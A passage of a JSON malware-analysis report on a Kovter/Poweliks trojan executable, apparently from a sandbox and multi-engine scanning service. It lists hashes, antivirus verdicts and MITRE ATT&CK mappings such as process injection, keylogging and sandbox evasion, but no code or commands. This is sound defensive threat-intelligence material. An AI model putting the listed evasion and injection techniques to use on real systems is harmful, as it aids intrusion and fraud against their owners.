UCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791600794421,"unified_at":"2026-10-10T02:53:14.421Z","metadata":{"hashes":{"sha256":"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289","sha1":"78f70912abd3599935dd15d12428b41bee81e452","md5":"b44a8dbe40cf3d75a23d5b991246249b","sha512":"9dbdd06ba87fb1478c07bf97facf69e079553393c3905afc960ea1bb5727aa59b260bd77652b3c877de518234875f6a8fb7fd82096c9049578ae143d47609251","ssdeep":"6144:JzYyFEqhqQK0TNhueSIfpzDx0J6Mml61EqIMiFNEnpIxI62:T1oQ1TbnRHclBIMiQpU2","ssdeep_chunks":["6144:JzYyFEq","6144:zYyFEqh","6144:YyFEqhq","6144:yFEqhqQ","6144:FEqhqQK","6144:EqhqQK0","6144:qhqQK0T","6144:hqQK0TN","6144:qQK0TNh","6144:QK0TNhu","6144:K0TNhue","6144:0TNhueS","6144:TNhueSI","6144:NhueSIf","6144:hueSIfp","6144:ueSIfpz","6144:eSIfpzD","6144:SIfpzDx","6144:IfpzDx0","6144:fpzDx0J","6144:pzDx0J6","6144:zDx0J6M","6144:Dx0J6Mm","6144:x0J6Mml","6144:0J6Mml6","6144:J6Mml61","6144:6Mml61E","6144:Mml61Eq","6144:ml61EqI","6144:l61EqIM","6144:61EqIMi","6144:1EqIMiF","6144:EqIMiFN","6144:qIMiFNE","6144:IMiFNEn","6144:MiFNEnp","6144:iFNEnpI","6144:FNEnpIx","6144:NEnpIxI","6144:EnpIxI6","6144:npIxI62","12288:JzYyFEq","12288:zYyFEqh","12288:YyFEqhq","12288:yFEqhqQ","12288:FEqhqQK","12288:EqhqQK0","12288:qhqQK0T","12288:hqQK0TN","12288:qQK0TNh","12288:QK0TNhu","12288:K0TNhue","12288:0TNhueS","12288:TNhueSI","12288:NhueSIf","12288:hueSIfp","12288:ueSIfpz","12288:eSIfpzD","12288:SIfpzDx","12288:IfpzDx0","12288:fpzDx0J","12288:pzDx0J6","12288:zDx0J6M","12288:Dx0J6Mm","12288:x0J6Mml","12288:0J6Mml6","12288:J6Mml61","12288:6Mml61E","12288:Mml61Eq","12288:ml61EqI","12288:l61EqIM","12288:61EqIMi","12288:1EqIMiF","12288:EqIMiFN","12288:qIMiFNE","12288:IMiFNEn","12288:MiFNEnp","12288:iFNEnpI","12288:FNEnpIx","12288:NEnpIxI","12288:EnpIxI6","12288:npIxI62","6144:T1oQ1Tb","6144:1oQ1Tbn","6144:oQ1TbnR","6144:Q1TbnRH","6144:1TbnRHc","6144:TbnRHcl","6144:bnRHclB","6144:nRHclBI","6144:RHclBIM","6144:HclBIMi","6144:clBIMiQ","6144:lBIMiQp","6144:BIMiQpU","6144:IMiQpU2"],"imphash":"15be88f34f8cb7e13ae0d1b2d50d70c4"},"file_info":{"file_name":"bounty-27681907275862456","file_type":["peexe","executable"],"file_type_id":"exe","file_size":395917,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1717740600000,"last_seen":1789400644000,"last_multi_scan":1789400644000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["criminal","kovter","clickfraud","wowlik"]},"stats":{"av":{"malicious_count":17,"suspicious_count":0,"total_engines":25},"attributions":{"malware_families_count":2,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":84},"sandbox_signatures":{"informative_count":218,"suspicious_count":15,"malicious_count":9,"total":242},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Malware/Win32.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/W32.Evo","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Poweliks.5","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Poweliks.5 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/Kryptik.FPOU trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"HVM:Trojan/Injector.b","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 005084d51 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"malicious","threat_name":"high_entropy","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Mal/Kovter-Z","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"malicious","threat_name":"GenericRXBB-ZG!B44A8DBE40CF","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/Kovter.T.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Genus.VVV","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"malicious","threat_name":"TrojWare.Win32.Cerber.ISM","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Kryptik.Win32.1118450","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Poweliks.Generic","sources":[{"report_type":"quickscan","report_id":""}]},{"value":"Kovter","sources":[{"report_type":"qsp","report_id":""}]}]},"mitre_attacks":[{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Able to delete registry key/value (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Writes registry keys"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Discovery","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to retrieve User Agents (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Collection","technique":"Input Capture","attack_id":"T1056","attack_id_wiki":"https://attack.mitre.org/techniques/T1056","identifiers":[{"type":"informative","value":"Contains ability to register/read input devices (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Contains ability to retrieve information about MS-DOS device names (API string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Able to query volume/memory size (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Tries to enumerate objects using PowerShell"},{"type":"informative","value":"Contains ability to query the machine version"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Able to retrieve logical drive information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads the windows installation date"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Contains ability to retrieve data about the local computer (API string)"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Calls an API typically used to open an existing named mutex object"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"suspicious","value":"Contains ability to retrieve a module handle"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Reads the cryptographic machine GUID"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"},{"type":"informative","value":"Able to retrieve machine time (API string)"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"},{"type":"informative","value":"Contains ability to query machine time"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"suspicious","value":"Contains ability to terminate a process"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to query local/system time as file time"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Queries for Borland Delphi related registry entry"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Contains reference to Borland Delphi related registry entry"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Able to perform scheduled transfer (API string)"},{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Tries to access Powershell profile file"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contains ability to create a HTTP or FTP session (API string)"},{"type":"informative","value":"Contains ability to create a new HTTP request (API string)"},{"type":"informative","value":"Found potential URL in binary/memory"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Contains ability to hook/unhook windows functions (API string)"},{"type":"informative","value":"Able to retrieve information about pressed keystrokes (API string)"},{"type":"suspicious","value":"Contains ability to hook/unhook windows functions"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"},{"type":"informative","value":"Able to retrieve command line parameters of the running process"},{"type":"informative","value":"Able to execute application using Windows wscript shell (JSP)"},{"type":"informative","value":"Able to import GetCommandLine API, which retrieves the command line string for the current process"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Defense Evasion","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"},{"type":"informative","value":"Contains ability to create a remote thread (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Able to list processes on remote desktop session host"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Contains ability to retrieve process ID (API string)"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Spawns new processes that are not known child processes"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"},{"type":"informative","value":"Contains ability to query the system locale"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"},{"type":"suspicious","value":"Contains ability to retrieve the contents of the STARTUPINFO structure"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Discovery","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"suspicious","value":"YARA signature match – Anomalous PE file structure"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Command and Control","technique":"Mail Protocols","attack_id":"T1071.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/003","identifiers":[{"type":"informative","value":"Found mail related domain names"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Contains ability to run commands or expressions (Powershell command string)"},{"type":"informative","value":"Executes PowerShell with command line"},{"type":"informative","value":"YARA signature match - PowerShell file content"},{"type":"malicious","value":"Powershell script shows a combination of malicious behavior"},{"type":"informative","value":"Observed Powershell command strings"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"},{"type":"informative","value":"Connects to LPC ports"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Contains references to WMI/WMIC"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"malicious","value":"Found shellcode in interpreted commandline"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"Sample was identified as malicious by a trusted antivirus engine"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Persistence","technique":"Path Interception by PATH Environment Variable","attack_id":"T1574.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/007","identifiers":[{"type":"informative","value":"References PATH environment registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Imports system security related APIs"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"},{"type":"malicious","value":"Writes shellcode to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Privilege Escalation","technique":"Process Hollowing","attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","identifiers":[{"type":"informative","value":"Contains ability to unmap view of a section from a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Privilege Escalation","technique":"Abuse Elevation Control Mechanism","attack_id":"T1548","attack_id_wiki":"https://attack.mitre.org/techniques/T1548","identifiers":[{"type":"informative","value":"Contains ability to use security policy setting (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"PE file contains zero-sized sections"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"suspicious","value":"CRC value set in PE header does not match actual value"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Loads the Bcrypt module DLL"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API 